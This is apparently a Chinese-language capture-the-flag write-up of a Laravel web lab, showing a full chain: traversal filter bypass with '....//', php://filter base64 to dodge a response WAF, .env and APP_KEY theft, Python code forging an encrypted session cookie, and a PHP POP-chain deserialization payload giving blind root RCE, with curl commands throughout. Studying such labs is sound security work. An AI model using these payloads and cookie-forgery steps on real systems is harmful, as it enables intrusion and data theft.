TraversalHunter

# Delta Breach 靶场通关实录:从信息收集到 POP 链无回显 RCE

靶场来源:雾島风起時
类型:综合 Web 渗透靶场
目标:ulab.bdziyi.cn:20737
通关时间:2026-07-03
Flag:flag{b2706734-f623-437e-8924-f94ab0ee81d0}
考察知识点:双写绕过 WAF、php://filter 编码绕过内容检测、Laravel Cookie 加密机制与密钥复用、POP 链反序列化构造

写在前面

这个靶场设计了一条完整的利用链,模拟了”三角洲通行证”代练交易平台被入侵的场景。整条链有六个阶段,环环相扣:信息收集、路径遍历、凭据泄露、Cookie 伪造、反序列化、拿 Flag。过程中踩了一个很经典的坑——一直默认后端是 Windows(因为报错路径写的是 D:\path\...),结果 exec() 重定向死活不出内容,换成 Linux 的 sh -c 包裹后秒通。这个教训后面会细说。


一、信息收集:摸清靶场底细

1.1 初始探测

从首页入手,发了一个普通的 GET 请求。响应头里立刻暴露了关键信息:

1
2
3
X-Powered-By: PHP/8.1.34
Set-Cookie: XSRF-TOKEN=eyJpdiI6... (Laravel 加密 Cookie)
Set-Cookie: laravel_session=eyJpdiI6... (Laravel 加密 Cookie)

两个 Cookie 的值都是 eyJpdiI6 开头的 base64——这是 Laravel 加密 payload 的 JSON 结构里的 iv 字段开头。基本可以确认这是 Laravel 框架。

页面内容是一个”三角洲护航”代练交易平台,有价格表、打手列表、登录注册入口。

1.2 路由梳理

逐个访问可见页面,梳理出前端路由:

路由 方法 说明
/ GET 价格表首页
/boosters GET 打手列表,每个有 data-id(101-104)
/cart GET 购物车(需登录)
/cart/add POST 加入购物车(JSON,需登录)
/login GET/POST 登录,字段 username + password
/register GET/POST 注册,同上
/profile GET 个人资料(需登录)

前端 JS(/js/app.js)里还暴露了 API 调用方式:fetch('/cart/add', {...})X-CSRF-TOKEN 头。

1.3 关键发现:Ignition 端点

探测常见 Laravel 路径时,/.env 返回了一个不同寻常的 404 页面——不是 Laravel 默认的 404,而是一个带完整堆栈跟踪的错误页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Facade\Ignition\Exceptions\ViewException
View [] not found.

Target Endpoint: POST /_ignition/execute-solution
Required JSON Payload:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"viewFile": "..."
}
}

Stack Trace:
Illuminate\View\FileViewFinder->findInPaths('boosters', array('D:\path\resources\views'))

这个错误页直接暴露了三样东西:

  1. 用的是 facade/ignition(Laravel 开发调试工具)
  2. 利用端点 POST /_ignition/execute-solution,接受 viewFile 参数
  3. 系统路径 D:\path\resources\views——注意这里写的是 Windows 风格路径,这个线索后面会坑我

接着验证了 /_ignition/health-check

1
{"can_execute_commands": true}

Ignition 确实可用。这正是 CVE-2021-3129(Laravel Ignition RCE)的入口结构。


二、路径遍历:双写绕过 + filter 编码绕过

2.1 第一道 WAF:../ 过滤

直接往 viewFile.env 路径试试:

1
2
3
4
5
6
7
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"viewFile": "php://filter/convert.base64-encode/resource=.env",
"variableName": "username"
}
}

返回 {"error":"Unknown solution or not exploitable."}。换成 ../.env 也一样。

但用 index.php(当前目录的文件)时,响应变成了:

1
403 {"error":"WAF Alert: Sensitive content detected in response! Action blocked."}

从 404 变成了 403——说明文件能被读到,只是内容触发了 WAF。而 .env 在上级目录,../ 被 WAF 过滤掉了所以 404。

靶场源码(后面读到的 FileController.php)证实了过滤逻辑:

1
2
// 新增目录遍历过滤:将所有的 "../" 替换为空
$viewFile = str_replace('../', '', $viewFile);

str_replace 是单次替换,不递归。所以 ....// 替换一次后中间的 ../ 被删掉,剩下的 ..// 拼起来正好还是 ../。这就是经典的双写绕过。

2.2 第二道 WAF:响应内容检测

....// 绕过路径遍历后,读 .env 明文会触发内容检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sensitiveKeywords = [
'APP_KEY', 'FLAG=', 'flag{', 'DB_PASSWORD',
'DB_USERNAME', 'root', 'MAIL_PASSWORD',
'Illuminate\\Foundation', 'PDOException', '<?php',
// ...
];

foreach ($sensitiveKeywords as $keyword) {
if (stripos($content, $keyword) !== false) {
return response()->json([
'error' => 'WAF Alert: Sensitive content detected in response!'
], 403);
}
}

WAF 在响应内容里搜关键词。绕过方式很直接——用 php://filter/convert.base64-encode/resource= 把文件内容编码成 base64,WAF 就匹配不到明文关键词了。

2.3 两道 WAF 一起绕

组合双写 + filter:

1
viewFile = php://filter/convert.base64-encode/resource=....//.env
  • ....// 经过 str_replace('../', '', ...) 后变成 ../,路径遍历恢复
  • php://filter/...base64... 把文件内容 base64 编码,WAF 内容检测绕过

响应 200,返回了一大段 base64。解码后就是完整的 .env

1
2
3
4
5
6
7
8
9
10
11
12
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:Nxxpbkj/QV1f+5uICIZjdf4rG93Dq7gVQbHNOulFxxQ=
APP_DEBUG=true
APP_URL=http://localhost
...
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=

三、源码审计:摸清完整攻击面

拿到文件读取能力后,继续读源码搞清后续利用链。

3.1 FileController.php

1
viewFile = php://filter/convert.base64-encode/resource=....//app/Http/Controllers/FileController.php

解码后看到完整的 WAF 逻辑和隐藏文件校验

1
2
3
4
5
6
7
// 检查如果读取的是隐藏的反序列化文件,必须校验管理员 Cookie
if (strpos($viewFile, '8167e48f725d4335b6388bdf54b5bd8a.php') !== false) {
$roleCookie = $request->cookie('laravel_session');
if (!$roleCookie || $roleCookie !== 'admin260117') {
return response()->json(['error' => '无权限访问'], 403);
}
}

8167e48f725d4335b6388bdf54b5bd8a.php 需要一个 laravel_session Cookie,明文值必须是 admin260117。但 laravel_session 会被 Laravel 的 EncryptCookies 中间件解密——不能直接发明文,得用 APP_KEY 加密伪造。

3.2 EncryptCookies 与加密格式

读了 vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.phpEncrypter.php,确认:

  • 加密算法:AES-256-CBC(APP_KEY base64 解码后 32 字节)
  • Cookie 值格式:base64(json({iv, value, mac, tag}))
    • iv:随机 16 字节,base64 编码
    • value:AES-256-CBC 加密后密文的 base64
    • machash_hmac('sha256', iv_b64 + value_b64, key)
    • tag:空字符串(非 AEAD 模式)
  • 写 Cookie 时会加 CookieValuePrefixhash_hmac('sha1', cookieName + 'v2', key) + '|'
  • 加密前明文 = prefix + 实际值
  • $serialize 默认 false——Cookie 解密后不会 unserialize

这意味着:要伪造 laravel_session,需要:

  1. 用 APP_KEY 算出 laravel_session 的 CookieValuePrefix
  2. 明文 = prefix + "admin260117"
  3. AES-256-CBC 加密,算 MAC,打包成 JSON,base64 编码

3.3 routes/web.php

1
2
3
4
5
6
7
// CTF 漏洞路由
Route::post('/_ignition/execute-solution', [FileController::class, 'executeSolution'])
->withoutMiddleware([
\Illuminate\Session\Middleware\StartSession::class,
\Illuminate\View\Middleware\ShareErrorsFromSession::class,
\App\Http\Middleware\VerifyCsrfToken::class,
]);

这个路由显式禁用了 CSRF 和 Session 中间件,所以 POST 不需要 CSRF token。


四、Cookie 伪造提权

用 Python + pycryptodome 构造伪造 Cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64, json, hmac, hashlib, os
from Crypto.Cipher import AES

app_key = base64.b64decode("Nxxpbkj/QV1f+5uICIZjdf4rG93Dq7gVQbHNOulFxxQ=")
# 32 bytes -> AES-256-CBC

# Step 1: CookieValuePrefix
prefix = hmac.new(app_key, b"laravel_sessionv2", hashlib.sha1).hexdigest() + "|"
# 1ac69f4b7a0b43fca1014b4013e7667f6750474a|

# Step 2: plaintext = prefix + "admin260117"
plaintext = prefix + "admin260117"

# Step 3: AES-256-CBC encrypt with PKCS7 padding
iv = os.urandom(16)
pad_len = 16 - (len(plaintext) % 16)
padded = plaintext.encode() + bytes([pad_len] * pad_len)
cipher = AES.new(app_key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(padded)

value_b64 = base64.b64encode(ciphertext).decode()
iv_b64 = base64.b64encode(iv).decode()

# Step 4: MAC = hash_hmac('sha256', iv_b64 + value_b64, key)
mac = hmac.new(app_key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()

# Step 5: Package
payload = {"iv": iv_b64, "value": value_b64, "mac": mac, "tag": ""}
cookie_value = base64.b64encode(
json.dumps(payload, separators=(",", ":")).encode()
).decode()

拿到伪造的 laravel_session Cookie 值后,带上它读隐藏文件:

1
2
viewFile = php://filter/convert.base64-encode/resource=8167e48f725d4335b6388bdf54b5bd8a.php
Cookie: laravel_session=eyJpdiI6InFpUEVQcldMd1NNeitnQzhkMFk5V0E9PSIs...

200 返回了 base64 编码的文件内容,解码后看到完整的 POP 链类定义和反序列化入口。


五、POP 链反序列化

5.1 隐藏文件暴露的 POP 链

8167e48f725d4335b6388bdf54b5bd8a.php 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
namespace App\Hidden;

class User {
public $profile;
public function __destruct() {
if ($this->profile) { $this->profile->show(); }
}
}

class Profile {
public $db;
public function __call($name, $arguments) {
if ($this->db) { $func = $this->db; $func(); }
}
}

class Database {
public $host;
public function __invoke() {
if ($this->host) { echo $this->host; }
}
}

class Command {
public $cmd;
public function __toString() {
if ($this->cmd) { exec($this->cmd); }
return "Command Executed";
}
}

反序列化入口在同一个文件里:

1
2
3
4
// 验证 Cookie 解密后 == "admin260117" ...
$payload = $_POST['payload'] ?? file_get_contents('php://input');
@unserialize(base64_decode($payload));
echo "Deserialization triggered.";

5.2 POP 链调用路径

1
2
3
4
5
6
7
8
User::__destruct()
-> $this->profile->show()
-> Profile::__call('show', []) // show() 不存在,触发 __call
-> $func = $this->db; $func()
-> Database::__invoke() // db 是对象,当函数调用触发 __invoke
-> echo $this->host
-> Command::__toString() // host 是对象,echo 触发 __toString
-> exec($this->cmd) // 最终 RCE

5.3 构造 payload

本地有 PHP,直接用 serialize() 生成最准确:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace App\Hidden;

class User { public $profile; /* ... */ }
class Profile { public $db; /* ... */ }
class Database { public $host; /* ... */ }
class Command { public $cmd; /* ... */ }

$cmd = new Command();
$cmd->cmd = "sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'";

$db = new Database(); $db->host = $cmd;
$profile = new Profile(); $profile->db = $db;
$user = new User(); $user->profile = $profile;

echo base64_encode(serialize($user));

序列化结果:

1
O:15:"App\Hidden\User":1:{s:7:"profile";O:18:"App\Hidden\Profile":1:{s:2:"db";O:19:"App\Hidden\Database":1:{s:4:"host";O:18:"App\Hidden\Command":1:{s:3:"cmd";s:53:"sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'";}}}}

注意类名长度——App\Hidden\Profile 是 18 不是 19(\ 算一个字符),App\Hidden\Database 是 19,App\Hidden\Command 是 18。手动数容易错,用 PHP 的 serialize() 最稳妥。

5.4 触发反序列化

直接 POST 到隐藏文件(不是通过 Ignition 端点,而是让它作为 PHP 执行),带伪造 Cookie 和 payload:

1
2
3
4
5
POST /8167e48f725d4335b6388bdf54b5bd8a.php
Cookie: laravel_session=(伪造的加密 Cookie)
Content-Type: application/x-www-form-urlencoded

payload=(base64 编码的序列化对象)

响应:Command ExecutedDeserialization triggered. —— 反序列化成功,__destruct 被触发,exec() 执行了。


六、获取 Flag

6.1 踩坑:exec() 不走 shell

一开始用 Windows 风格的命令(cmd /c echo ... > file.txttypedir),因为报错路径里的 D:\path\resources\views 让我以为后端是 Windows。结果:

  • 反序列化每次都返回 Deserialization triggered
  • 但落地的文件要么是 404(没创建),要么是 200 但内容为空

根本原因:PHP 的 exec() 在 Linux 上不会启动 shell,它直接 fork + execve。所以 > 重定向符号不会被解析——它只是作为参数传给了被调用的程序。必须用 sh -c 'cmd > file' 显式启 shell 来解析重定向。

6.2 转向 Linux 命令

换成 sh -c 'id > rce_linux.txt' 后,文件立刻有内容了:

1
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

确认:Linux 容器,root 权限D:\path\... 那条报错路径是靶场故意放的干扰信息。

6.3 定位 Flag

1
find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -name "*flag*" -print 2>/dev/null

结果里有一条脱颖而出:

1
/tmp/aaa123/flag.txt

6.4 读取 Flag

1
sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'

把内容写到 public 目录,然后直接 HTTP GET 读:

1
2
3
GET /rce_flag_final.txt

flag{b2706734-f623-437e-8924-f94ab0ee81d0}

七、总结与踩坑笔记

攻击链全景

1
2
3
4
5
6
7
8
9
10
11
12
信息收集
└→ 发现 /_ignition/execute-solution 端点
└→ 路径遍历(....// 双写绕过 ../ 过滤)
└→ php://filter base64 编码(绕过响应内容检测)
└→ 读取 .env → 拿到 APP_KEY
└→ 读取源码 → 发现隐藏文件 + 反序列化入口
└→ 用 APP_KEY 伪造 laravel_session Cookie(admin260117)
└→ 带伪造 Cookie 读隐藏文件 → 拿到 POP 链类定义
└→ 构造 POP 链 payload → POST 触发反序列化
└→ exec() 无回显 RCE
└→ find 定位 flag → cat 读取
└→ flag{b2706734-...}

关键绕过对照

WAF 层 过滤方式 绕过方式
路径遍历 str_replace('../', '', $viewFile) 双写 ....//,替换后还原成 ../
内容检测 stripos($content, $sensitiveKeyword) php://filter/convert.base64-encode 编码
身份校验 laravel_session 解密后须等于 admin260117 用泄露的 APP_KEY 加密伪造 Cookie

踩坑记录

坑一:误判后端系统

报错路径 D:\path\resources\views 看起来是 Windows,但实际后端是 Linux 容器。这个 D:\path 是靶场硬编码的干扰字符串,跟真实环境无关。教训:不要单凭一个字符串就下结论,用 iduname -a 这种命令快速确认。

坑二:exec() 不走 shell

PHP 的 exec()system() 等函数在 Linux 上不走 shell,>|&& 这些 shell 元字符不会被解析。要使用重定向、管道、命令链,必须显式 sh -c '完整命令' 包裹。这一步卡了不少时间——反序列化明明触发了,文件却一直空,直到换成 sh -c 才通。

坑三:手动构造序列化容易数错类名长度

PHP 序列化格式里 O:18:"App\Hidden\Profile" 的数字是完整类名(含命名空间和反斜杠)的字节长度。App\Hidden\Profile 有 18 个字符,App\Hidden\Database 有 19 个,App\Hidden\Command 有 18 个。手动数很容易差一个,导致 unserialize() 失败。本地有 PHP 的话,直接写类定义 + serialize() 最稳。


附:工具与命令速查

文件读取(Ignition 端点)

1
2
3
4
5
curl -X POST "http://target/_ignition/execute-solution" \
-H "Content-Type: application/json" \
-d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{"viewFile":"php://filter/convert.base64-encode/resource=....//.env",
"variableName":"username"}}'
1
2
3
prefix = hmac.new(key, b"laravel_sessionv2", hashlib.sha1).hexdigest() + "|"
plaintext = prefix + "admin260117"
# AES-256-CBC encrypt -> base64 -> JSON {iv, value, mac, tag} -> base64

POP 链 payload(PHP serialize)

1
2
3
4
5
6
$cmd = new Command();
$cmd->cmd = "sh -c 'cat /tmp/flag > /var/www/html/public/out.txt'";
$db = new Database(); $db->host = $cmd;
$p = new Profile(); $p->db = $db;
$u = new User(); $u->profile = $p;
echo base64_encode(serialize($u));

触发反序列化

1
2
3
curl -X POST "http://target/8167e48f725d4335b6388bdf54b5bd8a.php" \
-b "laravel_session=(伪造 Cookie)" \
-d "payload=(base64 序列化对象)"

Flag:flag{b2706734-f623-437e-8924-f94ab0ee81d0}

通关。


TraversalHunter
http://82.156.189.140:8085/2026/07/03/TraversalHunter/
作者
fortuneh2c
发布于
2026年7月3日
许可协议